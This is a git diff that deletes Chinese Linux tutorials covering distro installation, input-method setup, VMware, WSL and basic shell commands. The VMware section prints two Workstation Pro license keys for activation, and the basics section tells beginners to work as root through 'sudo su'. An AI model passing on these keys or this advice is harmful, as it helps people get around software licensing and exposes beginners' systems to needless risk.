Ubuntu,软件生态好。Cinnamon 桌面可能不是很惊艳,但是简洁直观。 - -Mint 对很多需要打命令的操作都做了 GUI,这样新手更容易使用。这是我见过为数不多的把开箱即用和可定制结合的比较好的主流发行版。 - -首先去 Mint 官网 下载 Cinnamon 版本。如果你使用新硬件可以下载 Cinnamon Edge。 - -点击 Download 之后会跳转到下载页面,你可以下拉列表选择 China 源进行下载,速度会很快。 - -如果有 Windows 存在的情况下,Mint 可以自动选择一个最大的分区,让你划出一定大小的空间用来安装。如果你分了很多盘,你可以在 Windows 下提前使用 Diskgenius 之类的分区软件整理你的分区,把剩余空间集中到一个盘上面,好让 Mint 自动缩小你想要缩小的盘,而不是手动指定。操作页面就像这样。 - -![mint windows size](https://cdn.xyxsw.site/mint-windows-size.png) - -##### 安装 - -用手机打开这个教程,插上你的 U 盘,关机。我们就可以开始安装了。 - -首先要启动到 U 盘,这个请自行查阅你们的电脑的启动方法。如果成功,你就可以看到这个页面。按下回车,耐心等待,就可以进入安装页面了。在这个页面按下回车。 - -![boot](https://cdn.xyxsw.site/mint-install-1.png) - -不久就进入这个页面。打开左上角的安装程序可以进行安装。如果使用 Ventoy 让你 umount 什么点确定就可以了。 - -![live](https://cdn.xyxsw.site/mint-install-2.png) - -建议使用英文进行安装,以后自己手动设置中文,这样配置不容易出错。所以这里点击 Continue 就行 - -![language](https://cdn.xyxsw.site/mint-install-3.png) - -continue - -![keyboard](https://cdn.xyxsw.site/mint-install-4.png) - -勾选,然后 continue. 这样 mp4 一类的格式就可以默认正常打开。 - -![multimedia](https://cdn.xyxsw.site/mint-install-5.png) - -由于我这里是虚拟机,只有清空磁盘的选项。你们如果已经有 Windows 的机子可以选择 install alongside Windows。 - -![install type](https://cdn.xyxsw.site/mint-install-6.png) - -在地图上找到中国,点击。 - -![location](https://cdn.xyxsw.site/mint-install-7.png) - -输入你的用户名和密码。密码建议别太简单,以后如果要跑公网服务给打烂了就不好了。这里的密码就是反面教材,字典两分钟打爆的那种。 - -![user](https://cdn.xyxsw.site/mint-install-8.png) - -等待安装。 - -![installing](https://cdn.xyxsw.site/mint-install-9.png) - -你可以查看安装程序的输出。 - -![still installing](https://cdn.xyxsw.site/mint-install-10.png) - -准备重启。 - -![install complete](https://cdn.xyxsw.site/mint-install-11.png) - -##### 配置 - -第一次启动。可以看到画风还是很贴近 Windows 的。 - -![first boot](https://cdn.xyxsw.site/mint-install-12.png) - -默认使用的软件源在国外,下载很慢,我们要换成国内源。 - -Linux Mint 的很多操作都是有对应的软件的的,非常方便。通过按 Win 键左下角的启动菜单,直接搜索名字就能打开相应的软件。很多人从 Windows 那里带来了放一桌面的快捷方式的习惯。Linux 的软件一般不放桌面快捷方式,而是通过菜单打开,这样更清爽高效。 - -在左下角搜索 software sources, 进入换源页面。其他软件也可以用这样的方式打开。 - -![software source](https://cdn.xyxsw.site/mint-install-13.png) - -输入密码。 - -![opening](https://cdn.xyxsw.site/mint-install-14.png) - -分别将 Main 和 Base 的源都换成国内源。我这里换成中科大的源,你们也可以换其他的。 - -![initial source](https://cdn.xyxsw.site/mint-install-15.png) - -换源的页面长这样,可以点击选择,然后 右下角 Apply 即可 - -![select mirror](https://cdn.xyxsw.site/mint-install-16.png) - -这里选 Main 的源。 - -![USTC](https://cdn.xyxsw.site/mint-install-17.png) - -Base 的源。 - -![next mirror](https://cdn.xyxsw.site/mint-install-18.png) - -可以看到源换好了,按下 OK 就可以保存更改。 - -![mirror](https://cdn.xyxsw.site/mint-install-19.png) - -接下来就是安装输入法。打开 Synaptic 包管理器,这是一个 apt 的 GUI 页面,比较适合新手。点开 Search, 输入 fcitx5,搜索。 - -![install fcitx5](https://cdn.xyxsw.site/mint-install-20.png) - -勾选 fcitx5,在弹出的窗口点击确定。然后勾选 fcitx5-chinese-addons。因为 fcitx5 只是一个框架,输入法在 fcitx5-chinese-addons 里面,所以两个都要安装。 - -点击左上方的 Apply 就可以安装了。 - -![select fcitx5 and install](https://cdn.xyxsw.site/mint-install-21.png) - -安装完成之后,打开 input method,将输入法从 none 切换到 fcitx5, 保存。 - -![change input method](https://cdn.xyxsw.site/mint-install-22.png) - -现在已经切换成功了。 - -![fcitx5](https://cdn.xyxsw.site/mint-install-23.png) - -打开 Fcitx5 Configuration,在右侧的可用输入法页面中搜索 Pinyin,选中,点击两个分页面中间的左箭头即可添加 pinyin 到 fcitx5. 然后点击下方 Apply 即可。 - -![add pinyin](https://cdn.xyxsw.site/mint-install-24.png) - -可以点击 Global Options 的标签页来修改快捷键。 - -![global options](https://cdn.xyxsw.site/mint-install-25.png) - -下一步,在 Language Settings 里面修改当前的语言为中文。 - -![langauge settings](https://cdn.xyxsw.site/mint-install-26.png) - -如果你是 Nvidia 显卡,现在可以打开 Driver Manager 安装 Nvidia 的驱动。我因为是虚拟机截不到图。建议 40 系显卡使用 525 版本的驱动,而不是他的推荐的 535,亲测崩溃。 - -![setting up driver](https://cdn.xyxsw.site/mint-install-27.png) - -这些都完成了就可以重启了。重启之后会问你要不要更新路径,选择保留就的名称 (Keep Old Names).这很重要,如果你不想在 bash 中 cd 来 cd 去的时候切换输入法的话。 - -![next boot](https://cdn.xyxsw.site/mint-install-28.png) - -![fcitx5 font size](https://cdn.xyxsw.site/mint-install-29.png) - -![flatpak change mirror](https://cdn.xyxsw.site/mint-install-30.png) - -![boot](https://cdn.xyxsw.site/mint-install-31.png) - -剩下就是一些安装后常用的操作了。Mint 默认自带 Flatpak,所以也不需要手动安装了。 - -#### Ubuntu - -Ubuntu 可能是最热门的发行版,某些情况下提到 Linux 就是 Ubuntu。但是 Ubuntu 有时候会作出对开发者而言比较迷惑的操作。 - -wiki 已有安装教程,我就不自己写了。 - -那么如何配置? - -##### 卸载 snap - -首先卸载 Snap。注意这样会直接干掉 Firefox,所以确保你已经阅读下面所有内容再开始操作。可以先复制到文本编辑器当中。 - -打开终端,输入 - -```bash -sudo systemctl disable snapd.service -sudo systemctl disable snapd.socket -sudo systemctl disable snapd.seeded.service -sudo snap remove firefox -sudo snap remove snap-store -sudo snap remove gtk-common-themes -sudo snap remove gnome-3-38-2004 -sudo snap remove core18 -sudo snap remove snapd-desktop-integration -sudo rm -rf /var/cache/snapd/ -sudo apt autoremove --purge snapd -rm -rf ~/snap -``` - -接着禁用 firefox 的 snap。 - -打开配置文件: - -```bash -sudo nano /etc/apt/preferences.d/firefox-no-snap -``` - -在文件中粘贴以下内容,保存: - -```text -Package: firefox* -Pin: release o=Ubuntu* -Pin-Priority: -1 -``` - -把 Firefox 请回来 - -```bash -sudo add-apt-repository ppa:mozillateam/ppa -sudo apt update -sudo apt install firefox -``` - -如果安装过慢,可以 `Ctrl+C` 暂时杀掉。打开 Software Update(软件与更新),修改 ppa,从 `http://ppa.launchpad.net` 换成 `https://launchpad.proxy.ustclug.org`。最后重新执行安装命令。 - -![](https://cdn.xyxsw.site/ubuntu-ppa.png) - -##### 安装输入法 - -参考[Ubuntu22.04 安装 Fcitx5 中文输入法(知乎)](https://zhuanlan.zhihu.com/p/508797663)。基本都可以照做,但是不要跟着他往 `~/.bash_profile` 和 `/etc/profile` 里面丢垃圾。环境变量要写到 `~/.pam_environment` 里面,内容如下,不要和他一样带 `export`: - -```text -XMODIFIERS=@im=fcitx -GTK_IM_MODULE=fcitx -QT_IM_MODULE=fcitx -``` - -提示一下,`~/` 是当前用户文件夹的简称,假如用户名是 `user`,对应的路径就是 `/home/user/`。 - -#### Pop! OS - -这个不是很热门,感觉也一般,只是带了 N 卡的开箱支持,所以 N 卡用户不行可以试试看。 - -Pop! OS 的安装程序会直接无视 Windows,建议先在 Windows 下面用 Diskgenius 之类的软件划出一个 1G 的 FAT32 分区和一个 200G 以上的 EXT4 分区,然后在安装选项里面选择高级选项,把 FAT32 分区作为 EFI,EXT4 分区作为 `/`。 - -#### Zorin OS - -不得不吐槽这帮人把时间都用到魔改 Gnome 外观上面了。到现在还基于 Ubuntu focal, 都 2023 年了。连装个 fcitx5 都费劲。 - -自带 Wine 支持,听说不错,我反正“网络不好”没安装上。 - -#### MX Linux - -distrowatch 上面排名挺高,但是结合发行版实际情况感觉很有刷榜嫌疑。没有很肯定的理由选择的话,还是用 Mint 吧。 - -### Arch based - -因为 Arch Linux 太强势,这里系列主要用的比较多的就是 Manjaro,所以先只写 Manjaro。后面可能会继续添加。 - -#### Manjaro - -基于 Arch Linux 的开箱即用的发行版,有 Arch Linux 的部分优点,而且对新手更加易用。 - -有过忘记更新证书的黑历史,不过这两年消停会了。 - -安装过程如图。 - -![](https://cdn.xyxsw.site/manjaro-1.png) - -![](https://cdn.xyxsw.site/manjaro-2.png) - -![](https://cdn.xyxsw.site/manjaro-3.png) - -![](https://cdn.xyxsw.site/manjaro-4.png) - -![](https://cdn.xyxsw.site/manjaro-5.png) - -这里要留意一下 - -![](https://cdn.xyxsw.site/manjaro-6.png) - -如果有 Windows 这么选 - -![](https://cdn.xyxsw.site/manjaro-install-alongside.png) - -![](https://cdn.xyxsw.site/manjaro-7.png) - -![](https://cdn.xyxsw.site/manjaro-8.png) - -![](https://cdn.xyxsw.site/manjaro-9.png) - -安装完成,重启。 - -输入法是没有安装的,自己安装。 - -```zsh -sudo pacman -S fcitx5 fcitx5-configtool fcitx5-qt fcitx5-gtk fcitx5-chinese-addons kcm-fcitx5 fcitx5-lua -kate ~/.pam_environment -``` - -kate 会打开 `~/.pam_environment`,接着把下面的环境变量写进去: - -```text -GTK_IM_MODULE=fcitx -QT_IM_MODULE=fcitx -XMODIFIERS=@im=fcitx -``` - -### Others - -#### Deepin - -目前还是 Debian 系,鉴于他们官宣要脱离 Debian,那我就放 Other 里面了。 - -Deepin 的本土化做的很不错,支持一些国内常用的软件。 - -但是总是让我感觉不够 Linux,手感比较奇怪。定位类似产品而不是工具。如果想要在国内替代 Windows 可以试试看。我之前使用的时候太不稳定,小 bug 一堆。现在不知道好点没有。我建议写程序还是少用,设计哲学不一样,容易把自己带偏。 - -#### UOS - -反正不是给我们用的。毕竟 root 权限还要注册他们的账号登陆,没绷住。 - -![](https://cdn.xyxsw.site/uos-3.png) - -![](https://cdn.xyxsw.site/uos-4.png) - -顺便说下我至今没找到 UOS 的源码,只看到[一篇干巴巴的新闻](https://www.zgswcn.com/article/202212/202212211344581036.html)声称“开源了开源了真的在开源了”。也就欺负 Linux Foundation 不打跨国官司。本来不想挂人的,但是[如果 UOS 用户就这素质](https://bbs.chinauos.com/post/7543)我真忍不了: - -![troll](https://cdn.xyxsw.site/uos-troll.png) - -## Advanced(Debian, Arch Linux, etc.) - -面向桌面用户的进阶发行版。Red Hat 根本看不上个人用户,所以我就不自找麻烦了。 - -### Debian - -Debian 的招牌就是稳定。在服务端这个优点非常明显。虽然在桌面端有些软件拖后腿导致它没那么稳,但是比起其他发行版还是更加稳定的。Debian 主要面向专业人士,桌面端不够开箱即用,需要很多额外的配置。祖传的安装界面对新手也不太友好。好在有 live 版本可以使用。 - -Debian 的兼容性非常优秀,在其他发行版挂掉的情况下面都能稳定跑。如果遇到兼容性问题那就直接上 Debian 吧,再怎么样也比 Arch Linux 容易安装一点。而且安装配置结束基本就不会再挂了。最近的 11 和 12 两个大版本一改老旧的形象,积极拥抱新事物,值得尝试。 - -不建议使用 Ventoy 启动 Debian 的镜像,因为 Ventoy 和 Debian 都很喜欢 hack,两者加起来容易爆炸。老老实实用 Rufus 烧录空 U 盘吧。 - -官网下的 ISO 文件是真的多。我这里推荐下载 [Live 镜像](https://mirrors.ustc.edu.cn/debian-cd/current-live/amd64/iso-hybrid/),因为安装相对来说比较方便直观。。下载页面很传统,而且可选的很多,但是不要紧,kde 和 gnome 二选一即可,老爷机就 lxqt。 - -如果你的 Live 镜像出了什么锅炸掉了,可以试试 [DVD 镜像](https://mirrors.ustc.edu.cn/debian-cd/current/amd64/iso-dvd/),祖传的安装页面很不友好,但有时候是唯一的选择。 - -#### Live 安装 - -这里以 Live KDE 为例子,Gnome 也是一样的。 - -首先是祖传的选择系统。直接回车。 - -![](https://cdn.xyxsw.site/debian-live-1.png) - -进来之后是不是很懵?哪里有 Install 呢?多半因为打包的志愿者忘了放快捷方式,自己左下角菜单点出来就好了。 - -![](https://cdn.xyxsw.site/debian-live-2.png) - -这样点出来。 - -![](https://cdn.xyxsw.site/debian-live-3.png) - -还要输入密码,密码也没告诉你。我去网上搜了一下,这个密码是 `live`。 - -![](https://cdn.xyxsw.site/debian-live-4.png) - -这样就打开了安装页面了。一路下一步吧。 - -![](https://cdn.xyxsw.site/debian-live-5.png) - -![](https://cdn.xyxsw.site/debian-live-6.png) - -![](https://cdn.xyxsw.site/debian-live-7.png) - -到这里,我们需要选择安装方式。我这里是虚拟机,只能看到 Erase disk 这个选项。如果有是 Windows 会出现别的选项。 - -![](https://cdn.xyxsw.site/debian-live-8.png) - -在已经有 Windows 安装好的情况下面是这样的。 - -![](https://cdn.xyxsw.site/debian-live-alongside.png) - -用户名和密码 - -![](https://cdn.xyxsw.site/debian-live-9.png) - -双系统的用户在这一页面检查一下,别把 Windows 干掉了。 - -![](https://cdn.xyxsw.site/debian-live-10.png) - -重启吧。 - -![](https://cdn.xyxsw.site/debian-live-11.png) - -#### 传统安装 - -有时候只能传统安装。思路和 Live 是差不多的,只是程序有点丑,然后有些不是很直观。看仔细点就行。一般很少用到。 - -#### 配置系统 - -##### 通用部分 - -打开 Konsole(KDE) 或者 Terminal(Gnome) 准备打命令。Gnome 用户按下 Win 键即可呼出搜索。 - -先[换源](https://mirrors.ustc.edu.cn/help/debian.html),再[安装输入法](https://wiki.debian.org/I18n/Fcitx5)和 [flatpak](https://flathub.org/setup/Debian),顺便换个 [flathub 源](https://mirror.sjtu.edu.cn/docs/flathub)。下面把这些教程整合起来。 - -依次输入这些命令,看清楚要求。 - -```bash -# 换源 -sudo sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list -sudo sed -i 's/security.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list -sudo apt update && sudo apt upgrade -``` - -如果出现类似 `E: 仓库 "http://mirrors.ustc.edu.cn/debian/ bookworm-security Release" 没有 Release 文件` 的报错,请用 `sudo nano /etc/apt/sources.list` 打开,手动将 `http://mirrors.ustc.edu.cn/debian/ bookworm-security` 改成 `http://mirrors.ustc.edu.cn/debian-security/ bookworm-security`,并再次 `sudo apt update`。 - -```bash -# 时间同步 -sudo apt install systemd-timesyncd -# 安装输入法 -sudo apt install --install-recommends fcitx5 fcitx5-chinese-addons -``` - -```bash -# flatpak -sudo apt install flatpak -# 下面两个命令二选一即可 -sudo apt install plasma-discover-backend-flatpak # 对于 KDE 桌面 -sudo apt install gnome-software-plugin-flatpak # 对 Gnome 桌面 -# 添加仓库 -flatpak remote-add --if-not-exists flathub https://dl.flathub.org/repo/flathub.flatpakrepo -# 换源 -flatpak remote-modify flathub --url=https://mirror.sjtu.edu.cn/flathub -``` - -对于 Nvidia 显卡,还要[安装驱动](https://wiki.debian.org/NvidiaGraphicsDrivers#Debian_12_.22Bookworm.22)。 - -我们需要把 `non-free contrib` 这两个仓库加上。可以在文件管理器中打开 `/etc/apt/` 这个目录,双击 `sources.list` 文件。(Gnome 的文件管理器按 Win+L 可以输入路径) - -Gnome 会弹出一个窗口,全勾起来保存就行。 - -![sources.list](https://cdn.xyxsw.site/sources.png) - -KDE 会用 Kate 打开它,每行都加上 `non-free contrib`,保存,Over. - -![sources.list](https://cdn.xyxsw.site/debian-kde-source.png) - -接下来打开命令行,执行: - -```bash -sudo apt update -sudo apt install nvidia-driver firmware-misc-nonfree -``` - -结束之后,重启。KDE 重启之后记得在登录页面把左下角桌面设置换成 X11。 - -##### KDE 部分 - -安装完大概是这样的。 - -![](https://cdn.xyxsw.site/debian-live-12.png) - -打开 input method,修改输入法。注意不要开错了。 - -![](https://cdn.xyxsw.site/debian-live-13.png) - -OK - -![](https://cdn.xyxsw.site/debian-live-14.png) - -YES - -![](https://cdn.xyxsw.site/debian-live-15.png) - -选中 fcitx5 - -![](https://cdn.xyxsw.site/debian-live-16.png) - -OK - -![](https://cdn.xyxsw.site/debian-live-17.png) - -打开 Fcitx 5 的设置。 - -![](https://cdn.xyxsw.site/debian-live-18.png) - -现在还没自动运行。平时也可以在这里启动设置。 - -![](https://cdn.xyxsw.site/debian-live-19.png) - -点击右下角 Add Input Method - -![](https://cdn.xyxsw.site/debian-live-20.png) - -搜索 Pinyin,选中,Add。 - -![](https://cdn.xyxsw.site/debian-live-21.png) - -默认的字体非常小,建议更改。点击 Configure addons,因为 UI 属于 Addon。至于快捷键可以在另一个设置里面改。 - -![](https://cdn.xyxsw.site/debian-live-22.png) - -设置 Classic User Interface - -![](https://cdn.xyxsw.site/debian-live-23.png) - -这里可以更改字体。 - -![](https://cdn.xyxsw.site/debian-live-24.png) - -然后就能使用了。 - -![](https://cdn.xyxsw.site/debian-live-25.png) - -可以更改 Language 为中文了。 - -![](https://cdn.xyxsw.site/debian-live-26.png) - -Flathub 上面的软件可以通过 KDE 自带的 Discover 应用中心安装。 - -这里我们看到 flatpak 已经启用了。 - -![](https://cdn.xyxsw.site/debian-live-27.png) - -##### Gnome - -Gnome 开箱状态就是残废,本来应该是官方做的事情,结果 Gnome 摆 Debian 也摆,都丢给用户了。 - -Gnome 一上来就让你改语言,改中文就行,然后一路下一步。下次重启可能会问你是否更改文件名称,选择否。 - -![](https://cdn.xyxsw.site/debian-live-gnome1.png) - -然后按下 Win 键进入菜单,呼出 Terminal, 安装一些插件。 - -![](https://cdn.xyxsw.site/debian-live-gnome2.png) - -![](https://cdn.xyxsw.site/debian-live-gnome3.png) - -```bash -sudo apt install gnome-shell-extension-dashtodock gnome-shell-extension-desktop-icons-ng gnome-shell-extension-kimpanel -``` - -我们之前已经装好 fcitx5, 所以这里启用就行。 - -![](https://cdn.xyxsw.site/debian-live-gnome4.png) - -![](https://cdn.xyxsw.site/debian-live-gnome5.png) - -一切完成,重启。 - -![](https://cdn.xyxsw.site/debian-live-gnome6.png) - -打开 Extension,启用任务栏,桌面图标和输入法面板的拓展。 - -![](https://cdn.xyxsw.site/debian-live-gnome10.png) - -![](https://cdn.xyxsw.site/debian-live-gnome7.png) - -打开 tweaks, 启用最大化和最小化按钮。当然 2k 屏幕也可以改改缩放。 - -![](https://cdn.xyxsw.site/debian-live-gnome8.png) - -![](https://cdn.xyxsw.site/debian-live-gnome9.png) - -差不多能用了,剩下可以自己折腾。 - -#### Trouble shooting - -##### 没有 sudo 权限 - -多半是打包的忘了加上去,自己加一下就好了。 - -```bash -su root -sudo usermod -a -G sudo <你的用户名> -``` - -### Arch Linux - -邪教教主。好用是真的好用,邪教也是真的邪教。建议有事没事看那边的 wiki,写的是真的很好。 - -安装教程我就不再班门弄斧了,可以自己看。 - -### Fedora - -以后写吧,不会比 Debian 难的。 - -### OpenSUSE - -为数不多官方 KDE 的发行版,可能是因为他们总部都在德国。感觉 SUSE 中规中矩,这么多年都没搞出什么大新闻。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md deleted file mode 100644 index 030d14b..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统.md +++ /dev/null @@ -1,119 +0,0 @@ -# VMware 的安装与安装 Ubuntu22.04 系统 - -::: warning -一般与 wsl 安装二选一,因为都是虚拟系统,安装了 wsl 不用 VMware - -文章撰写于 2022 年,可能其中的一些内容已过时。 -::: - -首先下载 VMware - -如果是 pro16 版本(key **ZF3R0-FHED2-M80TY-8QYGC-NPKYF**) - -如果是 pro17 版本(key **JU090-6039P-08409-8J0QH-2YR7F**) - -本文写的时候用的版本是 pro16,但目前已经更新到 pro17 所以来更新个 key(如下安装与 16 版本无异) - -[https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html](https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html) - -一路下一步 - -![](https://cdn.xyxsw.site/boxcntUYJNAaOwB8L6KSEhJJojh.png) - -![](https://cdn.xyxsw.site/boxcnQkVQ4uyYCveO6toBujoGOc.png) - -这俩我推荐勾掉 - -![](https://cdn.xyxsw.site/boxcndgDKfTuio3nF0QboemIPHe.png) - -安装过后点许可证 输上面的 key 激活 - -[https://mirror.nju.edu.cn/ubuntu-releases/22.04](https://mirror.nju.edu.cn/ubuntu-releases/22.04) - -去这里下载 Ubuntu22.04 镜像包 iso 选择 `ubuntu--desktop-amd64.iso` - -:::tip -这里推荐使用多线程下载器下载,比如 [IDM](../2.高效学习/2.2优雅的使用工具),如果直接用浏览器下载(线程少)可能会出现下载慢、下载失败的情况。 -::: - -下好回到 VMware - -![](https://cdn.xyxsw.site/boxcnGHnjgZvtcBrm0XXitFl4Jg.png) - -创建新的虚拟机 - 典型(推荐)- 下一步 - 安装程序 iso 选中你刚下的 iso 下一步 - -![](https://cdn.xyxsw.site/boxcnXilUhHNEyU4r95FxiVgCdg.png) - -这里填你一会儿要登录 linux 的个人信息 - -![](https://cdn.xyxsw.site/boxcnp33Oc3Ia2HzASTZJNOhEWb.png) - -这里建议把位置改到其他盘 - -一路下一步直到完成 - -启动后进入 Ubuntu 安装 - -![](https://cdn.xyxsw.site/boxcn5Uk41JyjjdTzXWQqUkexzc.png) - -键盘映射 直接 continue - -接下来一路 continue install now - -![](https://cdn.xyxsw.site/boxcnLxZnyFN3ohE8zrTwNaCA8e.png) - -最后 restart - -![](https://cdn.xyxsw.site/boxcnLguvbHihJ3ngqrtyGLI6zf.png) - -![](https://cdn.xyxsw.site/boxcnCX92JHjg8PU3quKs4GziZb.png) - -![](https://cdn.xyxsw.site/boxcnL5Jn3g7AdzVzoBb6ZINs1f.png) - -这个 skip - -后面一路 next 最后 done - -点右上角 settings - -![](https://cdn.xyxsw.site/boxcn85Yb3JIQ3520KeaSoyPVDd.png) - -![](https://cdn.xyxsw.site/boxcnZLHO1JGWoSqhM9zEEhSMAd.png) - -![](https://cdn.xyxsw.site/boxcnvLxCTKYfogPm9GNaKmusEf.png) - -然后按指引 restart 系统 - -![](https://cdn.xyxsw.site/boxcn30VJILYpO81pq89mAmzjTf.png) - -会提示你要不要重新命名这些用户下的文件夹 - -我建议选 `keep old names` - -如果你的语言还没有变过来的话 - -![](https://cdn.xyxsw.site/boxcnKzJjY8Dvj13A49bnMAztPg.png) - -点击这个他会安装语言 - -![](https://cdn.xyxsw.site/boxcndHnAuGC7TXhQgLkpLkHghf.png) - -把汉语拖到英文之上 点应用到整个系统 - -![](https://cdn.xyxsw.site/boxcnltCL3atXHtC3BUj5VI1Lqf.png) - -右上角 logout 重新登陆 就是中文辣 - -最后在设置 - 电源把息屏改成从不 - -![](https://cdn.xyxsw.site/boxcnnLCJzGoFrUbWIMAPGFkxcb.png) - -**至此 恭喜安装完成!** - -之后就可以在桌面上右键 - -![](https://cdn.xyxsw.site/boxcnG6z1VpAYUGMSkSwDBUxEvf.png) - -打开命令行 - -**开始你的 Linux 学习吧** diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md deleted file mode 100644 index a73d528..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装.md +++ /dev/null @@ -1,25 +0,0 @@ -# WSL 的安装 - -::: warning 💡与 VMware 安装二选一 安装了 VMware 不用 wsl -::: - -先说**坏处**: - -1. 开启 hyperv 的后果是 如果你电脑装模拟器玩手游的话 装了 hyperv 你的模拟器是打不开的(目前只有 `蓝叠国际版HyperV版`(性能很差)支持共存 hyperv 和模拟器) -2. WSL 很难装辣 安装过程中会出很多 bug 需要你自行 STFW - -## **官方文档** - -## [史上最全的 WSL 安装教程](https://blog.csdn.net/wojiuguowei/article/details/122100090) - -笔者不清楚当前版本 wsl 安装步骤 但是笔者安装的时候是需要在 `windows 功能` 中开启这三项 - -(现在可能是只开 `适用于Linux的windows子系统`) - -![](https://cdn.xyxsw.site/boxcnYVkEecWdUs710e8h6G9GTh.png) - -如果你的 windows 版本为**家庭版** 那么 hyperv 选项是没有的 - -你需要右键以管理员权限打开以下脚本来强行开启 hyperv - -![](https://cdn.xyxsw.site/boxcnoCF5MilDma33yviwRGdDHe.png) diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md deleted file mode 100644 index ec08d3b..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索.md +++ /dev/null @@ -1,158 +0,0 @@ -# Linux 初探索 - -如果你是第一次接触 linux,请一边仔细阅读,一边尝试敲命令在终端内。 - -有一点非常重要,这章节的内容到后面会略为困难,并且 linux 知识繁杂多样。 - -希望你可以参考这个链接! -[一些基本常识](https://linux.cn/article-6160-1.html) - -当然,你也可以从蓝桥云课开始,不过学会 linux 的最好办法是删掉你的 windows 换一个 linux 系统当开发环境,比任何临时的训练都有效! - -[蓝桥云课-Linux 基础入门](https://www.lanqiao.cn/courses/1) - -## 探索命令行 - -Linux 命令行中的命令使用格式都是相同的: - -```bash -命令名称 参数1 参数2 参数3 ... -``` - -参数之间用任意数量的空白字符分开。关于命令行,可以先阅读[一些基本常识](https://linux.cn/article-6160-1.html). 然后我们介绍最常用的一些命令: - -- (重要)首先教一个命令 `sudo su` 进入 root 账户(敲完之后会让你敲当前登录账户的密码 密码敲得过程中没有*****这种传统敲密码的提示 为 linux 传统艺能 其实是敲进去了),因为本身普通账户没什么权限,会出现处处的权限提示,建议直接使用 root 账户。 - -```txt -这里有一个彩蛋(如果你用的是 centos 的话) -当用户第一次使用 sudo 权限时 CentOS 的系统提示: -我们信任您已经从系统管理员那里了解了日常注意事项。 -总结起来无外乎这三点: -#1) 尊重别人的隐私。 -#2) 输入前要先考虑 (后果和风险)。 -#3) 权力越大,责任越大。 -``` - -- `ls` 用于列出当前目录 (即"文件夹") 下的所有文件 (或目录). 目录会用蓝色显示。`ls -l` 可以显示详细信息。 -- `pwd` 能够列出当前所在的目录。 -- `cd DIR` 可以切换到 `DIR` 目录。在 Linux 中,每个目录中都至少包含两个目录:`.` 指向该目录自身,`..` 指向它的上级目录。文件系统的根是 `/`. -- `touch NEWFILE` 可以创建一个内容为空的新文件 `NEWFILE`, 若 `NEWFILE` 已存在,其内容不会丢失。 -- `cp SOURCE DEST` 可以将 `SOURCE` 文件复制为 `DEST` 文件; 如果 `DEST` 是一个目录,则将 `SOURCE` 文件复制到该目录下。 -- `mv SOURCE DEST` 可以将 `SOURCE` 文件重命名为 `DEST` 文件; 如果 `DEST` 是一个目录,则将 `SOURCE` 文件移动到该目录下。 -- `mkdir DIR` 能够创建一个 `DIR` 目录。 -- `rm FILE` 能够删除 `FILE` 文件; 如果使用 `-r` 选项则可以递归删除一个目录。删除后的文件无法恢复,使用时请谨慎! -- `man` 可以查看命令的帮助。例如 `man ls` 可以查看 `ls` 命令的使用方法。灵活应用 `man` 和互联网搜索,可以快速学习新的命令。 - -`man` 的功能不仅限于此。`man` 后可以跟两个参数,可以查看不同类型的帮助 (请在互联网上搜索). 例如当你不知道 C 标准库函数 `freopen` 如何使用时,可以键入命令 - -```bash -man 3 freopen -``` - -### **统计代码行数** - -第一个例子是统计一个目录中 (包含子目录) 中的代码行数。如果想知道当前目录下究竟有多少行的代码,就可以在命令行中键入如下命令: - -```bash -find . | grep '\.c$\|\.h$' | xargs wc -l -``` - -如果用 `man find` 查看 `find` 操作的功能,可以看到 `find` 是搜索目录中的文件。Linux 中一个点 `.` 始终表示 Shell 当前所在的目录,因此 `find .` 实际能够列出当前目录下的所有文件。如果在文件很多的地方键入 `find .`, 将会看到过多的文件,此时可以按 `CTRL + c` 退出。 - -同样,用 `man` 查看 `grep` 的功能——"print lines matching a pattern". `grep` 实现了输入的过滤,我们的 `grep` 有一个参数,它能够匹配以 `.c` 或 `.h` 结束的文件。正则表达式是处理字符串非常强大的工具之一,每一个程序员都应该掌握其相关的知识。? 上述的 `grep` 命令能够提取所有 `.c` 和 `.h` 结尾的文件。 - -刚才的 `find` 和 `grep` 命令,都从标准输入中读取数据,并输出到标准输出。关于什么是标准输入输出,请参考[这里](http://en.wikipedia.org/wiki/Standard_streams). 连接起这两个命令的关键就是管道符号 `|`. 这一符号的左右都是 Shell 命令,`A | B` 的含义是创建两个进程 `A` 和 `B`, 并将 `A` 进程的标准输出连接到 `B` 进程的标准输入。这样,将 `find` 和 `grep` 连接起来就能够筛选出当前目录 (`.`) 下所有以 `.c` 或 `.h` 结尾的文件。 - -我们最后的任务是统计这些文件所占用的总行数,此时可以用 `man` 查看 `wc` 命令。`wc` 命令的 `-l` 选项能够计算代码的行数。`xargs` 命令十分特殊,它能够将标准输入转换为参数,传送给第一个参数所指定的程序。所以,代码中的 `xargs wc -l` 就等价于执行 `wc -l aaa.c bbb.c include/ccc.h ...`, 最终完成代码行数统计。 - -### **统计磁盘使用情况** - -以下命令统计 `/usr/share` 目录下各个目录所占用的磁盘空间: - -```bash -du -sc /usr/share/* | sort -nr -``` - -`du` 是磁盘空间分析工具,`du -sc` 将目录的大小顺次输出到标准输出,继而通过管道传送给 `sort`. `sort` 是数据排序工具,其中的选项 `-n` 表示按照数值进行排序,而 `-r` 则表示从大到小输出。`sort` 可以将这些参数连写在一起。 - -然而我们发现,`/usr/share` 中的目录过多,无法在一个屏幕内显示。此时,我们可以再使用一个命令:`more` 或 `less`. - -```bash -du -sc /usr/share/* | sort -nr | more -``` - -此时将会看到输出的前几行结果。`more` 